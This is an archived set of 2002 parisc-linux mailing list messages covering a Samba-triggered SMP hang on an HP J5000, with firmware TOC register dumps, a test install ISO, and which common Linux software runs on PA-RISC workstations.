X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14847

On Sun, 26 May 2002, Grant Grundler wrote:

> Jeremy Drake wrote:
> > 2.4.18-pa26 does it too. Here's the bootup sequence.  I put in the whole
> > thing in case anyone is interested.  If not, just skip to the bottom :)  
> > Next time I'll just include relevant pieces.  
> 
> It was ok to post the whole thing.
> Did the machine "hang"?  Can you provide "TOC" output?
> (push TOC button on the back and then at PDC prompt "ser pim toc")
It hung.
Could you tell me where exactly I can find this button on a J5000?  Then I 
can get it for you.  I'll have physical access to the box all day 
tomorrow.
> 
> ...
> > Starting Samba daemons: nmbd smbdsmbd(276): unaligned access to 0x4001a2b8 at
> >    ip=0x4012ea1f
> 
> The "unaligned access" just tells us the app is touching data that
> isn't aligned. That shouldn't cause a crash. Or at least if it does,
> then it should crash the same way on a UP machine.
> 
> I don't know a damn thing about samba. Is it multi-threaded or
> anything special? Send out broadcast packets maybe?
Probably multi-threaded, definitely broadcasts.  It works w/o issues on 
UP, but on SMP, samba stops it cold.  With samba disabled, it seems to 
work fine.  I built a kernel on smp (make -j 2) with no issue, which is an 
improvement over the last time I tried this...

> 
> thanks,
> grant
> 

-- 
Save the whales.  Collect the whole set.




From - Thu Nov 08 21:22:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.18 SMP instability
Date: Mon, 27 May 2002 13:04:51 +0100
Lines: 12
Approved: news@gmane.org
Message-ID: <20020527130451.F10366@parcelfarce.linux.theplanet.co.uk>
References: <20020527020453.99EBC483A@dsl2.external.hp.com> <Pine.LNX.4.44.0205262159110.11012-100000@garibaldi.apptechsys.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621317 7560 80.91.229.3 (22 Nov 2014 01:55:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:17 +0000 (UTC)
Cc: Grant Grundler <grundler@dsl2.external.hp.com>,
	parisc-linux@lists.parisc-linux.org
To: Jeremy Drake <jeremyd@apptechsys.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon May 27 06:04:54 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0697D482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 27 May 2002 06:04:54 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 17CJF5-0007qo-00; Mon, 27 May 2002 13:04:51 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <Pine.LNX.4.44.0205262159110.11012-100000@garibaldi.apptechsys.com>; from jeremyd@apptechsys.com on Sun, May 26, 2002 at 11:17:33PM -0700
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14848

On Sun, May 26, 2002 at 11:17:33PM -0700, Jeremy Drake wrote:
> Could you tell me where exactly I can find this button on a J5000?  Then I 
> can get it for you.  I'll have physical access to the box all day 
> tomorrow.

Little blue button, on the back near the serial ports.  It's recessed
a bit so you probably need to use a pen to push it.

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:22:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Zibing Yang <email2bing@yahoo.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Can I run popular Linux software on parisc-linux?
Date: Mon, 27 May 2002 09:56:26 -0700 (PDT)
Lines: 20
Approved: news@gmane.org
Message-ID: <20020527165626.35993.qmail@web21209.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621318 7562 80.91.229.3 (22 Nov 2014 01:55:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:18 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon May 27 10:56:28 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from web21209.mail.yahoo.com (web21209.mail.yahoo.com [216.136.175.167])
	by dsl2.external.hp.com (Postfix) with SMTP id BEEFD4836
	for <parisc-linux@lists.parisc-linux.org>; Mon, 27 May 2002 10:56:27 -0600 (MDT)
Original-Received: from [128.197.55.158] by web21209.mail.yahoo.com via HTTP; Mon, 27 May 2002 09:56:26 PDT
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14849

Hi,
I am a beginner in linux and recently got a used HP
Visualize C3600 workstation. I realized that
parisc-linux is the obvious ( the only???) solution
for me. 
I am just wondering if I could install popular Linux
software after I install parisc-linux? As far as I
know, most of the softwares were developed for
PC-based Linux. Particularly I would like to know if I
could run office-like software, windows-emulator,
video-rendering software. 
Thanks a lot. 
Zibing

__________________________________________________
Do You Yahoo!?
Yahoo! - Official partner of 2002 FIFA World Cup
http://fifaworldcup.yahoo.com



From - Thu Nov 08 21:22:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] New testing ISO available with recent boot-floppies
Date: Mon, 27 May 2002 18:59:49 +0200 (CEST)
Lines: 71
Approved: news@gmane.org
Message-ID: <1022518789.3cf2660508e1c@webmail.tiscalinet.be>
References: <001b01c20382$918a0a90$022a17ac@simplex> <02993B31-6F77-11D6-9D55-0030656F07A2@esiee.fr> <20020526125915.3f7af47e.varenet@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621318 7566 80.91.229.3 (22 Nov 2014 01:55:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:18 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, duraid@fl.net.au,
	grundler@dsl2.external.hp.com, t.simonnet@esiee.fr
To: Thibaut VARENE <varenet@esiee.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon May 27 11:00:07 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail2.tiscali.be [212.35.2.201])
	by dsl2.external.hp.com (Postfix) with ESMTP id 968B3483D
	for <parisc-linux@lists.parisc-linux.org>; Mon, 27 May 2002 11:00:06 -0600 (MDT)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 17CNqX-0001o4-00; Mon, 27 May 2002 18:59:49 +0200
In-Reply-To: <20020526125915.3f7af47e.varenet@esiee.fr>
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.2
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14850

Hi Thibaut,

To BAD: I made a mistake and I had to re-install my b2000.

On the other hand it is a good oportunity to test the last CD-rom.

It boot well and recognise well the ide cdrom. Nice :-)

But on the b2000 (I have no idea for b2600) the cdrom is an ide model and so
appears to be /dev/hda pseudo device.
So before install of the kernel and the base system, I had to execute a shell
and launch cd /dev; MAKEDEV hda to add require /dev/hda* then the rest works well.

Could it not be possible to add those /dev/hd[abcd]* into the initial ramdisk
(it should not take too much additional space?)?

Thanks in advance for your additionnal help and thanks again for great job,
    Joel
  
Quoting Thibaut VARENE <varenet@esiee.fr>:

> On Sat, 25 May 2002 02:33:18 +0200
> "Thibaut VARENE" <varenet@esiee.fr> wrote:
> 
> > 
> > Le samedi 25 mai 2002,  02:24 , Duraid Madina a crit :
> > 
> > > Does this new ISO include Grant's patch from yesterday, allowing
> booting
> > > on PA-8700 machines?
> > >
> > > If so, I will be sure to test it out!
> > >
> > > 	Duraid
> > >
> > >
> > Well, Grant told me that his patch is not comitted yet, and not ready
> to 
> > be.
> > When it will be ready, we'll consider rebuilding the ISO :o)
> > 
> 
> The new ISO is now ready, with -pa26 kernel.
> 
> Duraid reported a successful boot with his rp2430 (A400-6X), but the
> same *warnings* than for the previous ISO are still applicable :)
> Any feedback would be welcomed anyway !
> 
> You can download it from this location:
> http://pateam.esiee.fr/download.html
> And it should be made available shortly on ftp.parisc-linux.org. :)
> 
> Enjoy !
> 
> 
> Thibaut VARENE
> PA/Linux ESIEE Team
> http://pateam.esiee.fr/
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 
> 


-------------------------------------------------
This mail sent through Tiscali Webmail (http://webmail.tiscali.be)



From - Thu Nov 08 21:22:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeremy Drake <jeremyd@apptechsys.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.18 SMP instability
Date: Mon, 27 May 2002 11:44:35 -0700 (PDT)
Lines: 215
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0205271055450.11012-100000@garibaldi.apptechsys.com>
References: <Pine.LNX.4.44.0205262159110.11012-100000@garibaldi.apptechsys.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621318 7569 80.91.229.3 (22 Nov 2014 01:55:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:18 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon May 27 12:44:38 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.apptechsys.com (mail.apptechsys.com [207.14.35.131])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9439B4838
	for <parisc-linux@lists.parisc-linux.org>; Mon, 27 May 2002 12:44:37 -0600 (MDT)
Original-Received: from garibaldi.apptechsys.com (ats164.apptechsys.com [207.14.35.164])
	by mail.apptechsys.com (Postfix) with ESMTP
	id 763C07BC46; Mon, 27 May 2002 11:44:35 -0700 (PDT)
In-Reply-To: <Pine.LNX.4.44.0205262159110.11012-100000@garibaldi.apptechsys.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14851

On Sun, 26 May 2002, Jeremy Drake wrote:

> On Sun, 26 May 2002, Grant Grundler wrote:
> 
> > Jeremy Drake wrote:
> > > 2.4.18-pa26 does it too. Here's the bootup sequence.  I put in the whole
> > > thing in case anyone is interested.  If not, just skip to the bottom :)  
> > > Next time I'll just include relevant pieces.  
> > 
> > It was ok to post the whole thing.
> > Did the machine "hang"?  Can you provide "TOC" output?
> > (push TOC button on the back and then at PDC prompt "ser pim toc")

The first time I tried today, it gave the unaligned error and said the 
following in a loop on the LCD
HPMC initiated
multiple HPMCs
HPMC initiated
Runway broad err
bad OS HPMC cksm
OS HPMC br err

When I pressed the button on the back, it said
Runway broad err
and stopped.  Had to pull the power cable -- the button wouldn't work

Here's the second time

/etc/init.d/samba start
Starting Samba daemons: nmbd smbd
[hung here]

Firmware Version 5.0

Duplex Console IO Dependent Code (IODC) revision 1

------------------------------------------------------------------------------
   (c) Copyright 1995-2000, Hewlett-Packard Company, All rights reserved
------------------------------------------------------------------------------

  Processor   Speed            State           Coprocessor State  I/D Cache 
  ---------  --------   ---------------------  -----------------  -------------
      0      440 MHz    Active                 Functional         512 kB/1 MB
      1      440 MHz    Idle                   Functional         512 kB/1 MB

  Central Bus Speed:                   120 MHz

  Available memory:              536870912 bytes
  Good memory required:           46678016 bytes

  Primary boot path:    FWSCSI.6.0
  Alternate boot path:  SCSI.6.0
  Console path:         SERIAL_1.9600.8.none
  Keyboard path:        PCI8.0.0

Processor is booting from first available device.

To discontinue, press any key within 10 seconds.

Boot terminated.


----- Main Menu -------------------------------------------------------------

      Command                           Description
      -------                           -----------
      BOot [PRI|ALT|<path>]             Boot from specified path
      PAth [PRI|ALT|CON|KEY [<path>]]   Display or modify a path
      SEArch [DIsplay|[[IPL] [<path>]]] Search for boot devices

      COnfiguration [<command>]         Access Configuration menu/commands
      INformation [<command>]           Access Information menu/commands
      SERvice [<command>]               Access Service menu/commands

      DIsplay                           Redisplay the current menu
      HElp [<menu>|<command>]           Display help for menu or command
      RESET                             Restart the system
-----
Main Menu: Enter command > ser pim toc

PROCESSOR PIM INFORMATION

-----------------  Processor 0 TOC Information -------------------

General Registers 0 - 31
00-03   0000000000000000  0000000000358cf0  000000004012e987  00000000faf010d0
04-07   00000000400190b0  0000000000000018  00000000401f4ab0  00000000400190b0
08-11   40000000400190b0  0000000000000000  00000000faf00350  00000000000ba144
12-15   000000000006f800  000000000006f800  0000000000000000  0000000000000000
16-19   0000000000000000  00000000000b2248  0000000000029494  00000000401f4ab0
20-23   0000000000000000  0000000000001f38  00000000faf010e8  0000000000000018
24-27   000000000000012c  000000000ca6b064  00000000400190a4  00000000000a0944
28-31   ffffffffffffffff  00000000000000ac  00000000faf01240  000000000006b937

<Press any key to continue (q to quit)> 

Control Registers 0 - 31
00-03   0000000000000000  0000000000000000  0000000000000000  0000000000000000
04-07   0000000000000000  0000000000000000  0000000000000000  0000000000000000
08-11   0000000000000258  0000000000000000  00000000000000c0  0000000000000018
12-15   0000000000000000  0000000000000000  0000000000106000  00000000ffffffff
16-19   0000001d9616a712  000000000000012c  000000004012ea1f  000000000f541298
20-23   000000000000012c  40000000400190b0  0000000000000000  00000000a8000000
24-27   0000000000366000  000000000ca41000  0000000000044021  00000000f0412000
28-31   0000000055555555  0000000055555555  000000001ca6c000  0000000010410000
Space Registers 0 - 7

00-03   00000000          0000012c          00000000          0000012c
04-07   0000012c          0000012c          0000012c          0000012c

IIA Space                    = 0x000000000000012c
IIA Offset                   = 0x000000004012ea23
CPU State                    = 0x9e000001

Main Menu: Enter command >

And the third:
/etc/init.d/samba start
Starting Samba daemons: nmbd smbd





Firmware Version 5.0

Duplex Console IO Dependent Code (IODC) revision 1

------------------------------------------------------------------------------
   (c) Copyright 1995-2000, Hewlett-Packard Company, All rights reserved
------------------------------------------------------------------------------

  Processor   Speed            State           Coprocessor State  I/D Cache 
  ---------  --------   ---------------------  -----------------  -------------
      0      440 MHz    Active                 Functional         512 kB/1 MB
      1      440 MHz    Idle                   Functional         512 kB/1 MB

  Central Bus Speed:                   120 MHz

  Available memory:              536870912 bytes
  Good memory required:           46678016 bytes

  Primary boot path:    FWSCSI.6.0
  Alternate boot path:  SCSI.6.0
  Console path:         SERIAL_1.9600.8.none
  Keyboard path:        PCI8.0.0

Processor is booting from first available device.

To discontinue, press any key within 10 seconds.

Boot terminated.


----- Main Menu -------------------------------------------------------------

      Command                           Description
      -------                           -----------
      BOot [PRI|ALT|<path>]             Boot from specified path
      PAth [PRI|ALT|CON|KEY [<path>]]   Display or modify a path
      SEArch [DIsplay|[[IPL] [<path>]]] Search for boot devices

      COnfiguration [<command>]         Access Configuration menu/commands
      INformation [<command>]           Access Information menu/commands
      SERvice [<command>]               Access Service menu/commands

      DIsplay                           Redisplay the current menu
      HElp [<menu>|<command>]           Display help for menu or command
      RESET                             Restart the system
-----
Main Menu: Enter command > ser pim toc

PROCESSOR PIM INFORMATION

-----------------  Processor 0 TOC Information -------------------

General Registers 0 - 31
00-03   0000000000000000  0000000000358cf0  000000004012e987  00000000faf010d0
04-07   00000000400190b0  0000000000000018  00000000401f4ab0  00000000400190b0
08-11   40000000400190b0  0000000000000000  00000000faf00350  00000000000ba144
12-15   000000000006f800  000000000006f800  0000000000000000  0000000000000000
16-19   0000000000000000  00000000000b2248  0000000000029494  00000000401f4ab0
20-23   0000000000000000  0000000000001f38  00000000faf010e8  0000000000000018
24-27   0000000000000130  000000000ca1c064  00000000400190a4  00000000000a0944
28-31   ffffffffffffffff  00000000000000ac  00000000faf01240  000000000006b937

<Press any key to continue (q to quit)> 

Control Registers 0 - 31
00-03   0000000000000000  0000000000000000  0000000000000000  0000000000000000
04-07   0000000000000000  0000000000000000  0000000000000000  0000000000000000
08-11   0000000000000260  0000000000000000  00000000000000c0  0000000000000018
12-15   0000000000000000  0000000000000000  0000000000106000  00000000ffffffff
16-19   000000e968d9578d  0000000000000130  000000004012ea1f  000000000f541298
20-23   0000000000000130  40000000400190b0  0000000000000000  00000000a8000000
24-27   0000000000366000  000000000ca1e000  0000000000044021  00000000f0412000
28-31   0000000055555555  0000000055555555  000000001ca18000  0000000010410000
Space Registers 0 - 7

00-03   00000000          00000130          00000000          00000130
04-07   00000130          00000130          00000130          00000130

IIA Space                    = 0x0000000000000130
IIA Offset                   = 0x000000004012ea23
CPU State                    = 0x9e000001

Main Menu: Enter command > 
 

-- 
I am a man: nothing human is alien to me.
		-- Publius Terentius Afer (Terence)




From - Thu Nov 08 21:22:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Can I run popular Linux software on parisc-linux?
Date: Mon, 27 May 2002 13:07:36 -0600
Lines: 30
Approved: news@gmane.org
Message-ID: <20020527190736.9AC3D4840@dsl2.external.hp.com>
References: <20020527165626.35993.qmail@web21209.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621319 7571 80.91.229.3 (22 Nov 2014 01:55:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:19 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Zibing Yang <email2bing@yahoo.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon May 27 13:07:36 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 9AC3D4840; Mon, 27 May 2002 13:07:36 -0600 (MDT)
In-Reply-To: Message from Zibing Yang <email2bing@yahoo.com> 
   of "Mon, 27 May 2002 09:56:26 PDT." <20020527165626.35993.qmail@web21209.mail.yahoo.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14852

Zibing Yang wrote:
> Hi,
> I am a beginner in linux and recently got a used HP
> Visualize C3600 workstation.

Beware that only Vis-EG PCI is supported by parisc-linux 
on that box.

...
> As far as I know, most of the softwares were developed for
> PC-based Linux.

Under debian, 95% of the packages build on nearly every CPU architecture.
See http://buildd.debian.org/stats/.

> Particularly I would like to know if I
> could run office-like software, windows-emulator,
> video-rendering software. 

In general, you should look for packages in "testing" here:
	http://www.debian.org/distrib/packages

kword is available though I've never used it.
I'm not aware of anyone trying to run an IA32 emulator on parisc-linux.
gimp and gqview seem to work. Not sure what's availble
for video (eg mpeg) editing.

grant



From - Thu Nov 08 21:22:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Can I run popular Linux software on parisc-linux?
Date: Mon, 27 May 2002 22:33:05 +0200
Lines: 16
Approved: news@gmane.org
Message-ID: <200205272233.05944.deller@gmx.de>
References: <20020527165626.35993.qmail@web21209.mail.yahoo.com> <20020527190736.9AC3D4840@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621319 7573 80.91.229.3 (22 Nov 2014 01:55:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:19 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@dsl2.external.hp.com>,
	Zibing Yang <email2bing@yahoo.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon May 27 14:33:33 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 68A8E483F
	for <parisc-linux@lists.parisc-linux.org>; Mon, 27 May 2002 14:33:31 -0600 (MDT)
Original-Received: (qmail 18754 invoked by uid 0); 27 May 2002 20:33:28 -0000
Original-Received: from pd904072f.dip.t-dialin.net (HELO P100.helgenet.de) (217.4.7.47)
  by mail.gmx.net (mp010-rz3) with SMTP; 27 May 2002 20:33:28 -0000
User-Agent: KMail/1.4.5
In-Reply-To: <20020527190736.9AC3D4840@dsl2.external.hp.com>
X-Message-Flag: Mailbox corruption detected. Please delete Outlook!
Content-Disposition: inline
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14853

On Monday 27 May 2002 21:07, Grant Grundler wrote:
> Zibing Yang wrote:
> > Particularly I would like to know if I
> > could run office-like software, windows-emulator,
> > video-rendering software.

> I'm not aware of anyone trying to run an IA32 emulator on parisc-linux.

fyi, bochs compiled from CVS sources (with small modifications) worked 
for me.

Greetings,
Helge




From - Thu Nov 08 21:22:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Zibing Yang <email2bing@yahoo.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Can I run popular Linux software on parisc-linux?
Date: Mon, 27 May 2002 14:43:18 -0700 (PDT)
Lines: 30
Approved: news@gmane.org
Message-ID: <20020527214318.75630.qmail@web21201.mail.yahoo.com>
References: <200205272233.05944.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621319 7575 80.91.229.3 (22 Nov 2014 01:55:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:19 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Helge Deller <deller@gmx.de>,
	Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon May 27 15:43:22 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from web21201.mail.yahoo.com (web21201.mail.yahoo.com [216.136.129.59])
	by dsl2.external.hp.com (Postfix) with SMTP id B6B89483F
	for <parisc-linux@lists.parisc-linux.org>; Mon, 27 May 2002 15:43:20 -0600 (MDT)
Original-Received: from [128.197.55.158] by web21201.mail.yahoo.com via HTTP; Mon, 27 May 2002 14:43:18 PDT
In-Reply-To: <200205272233.05944.deller@gmx.de>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
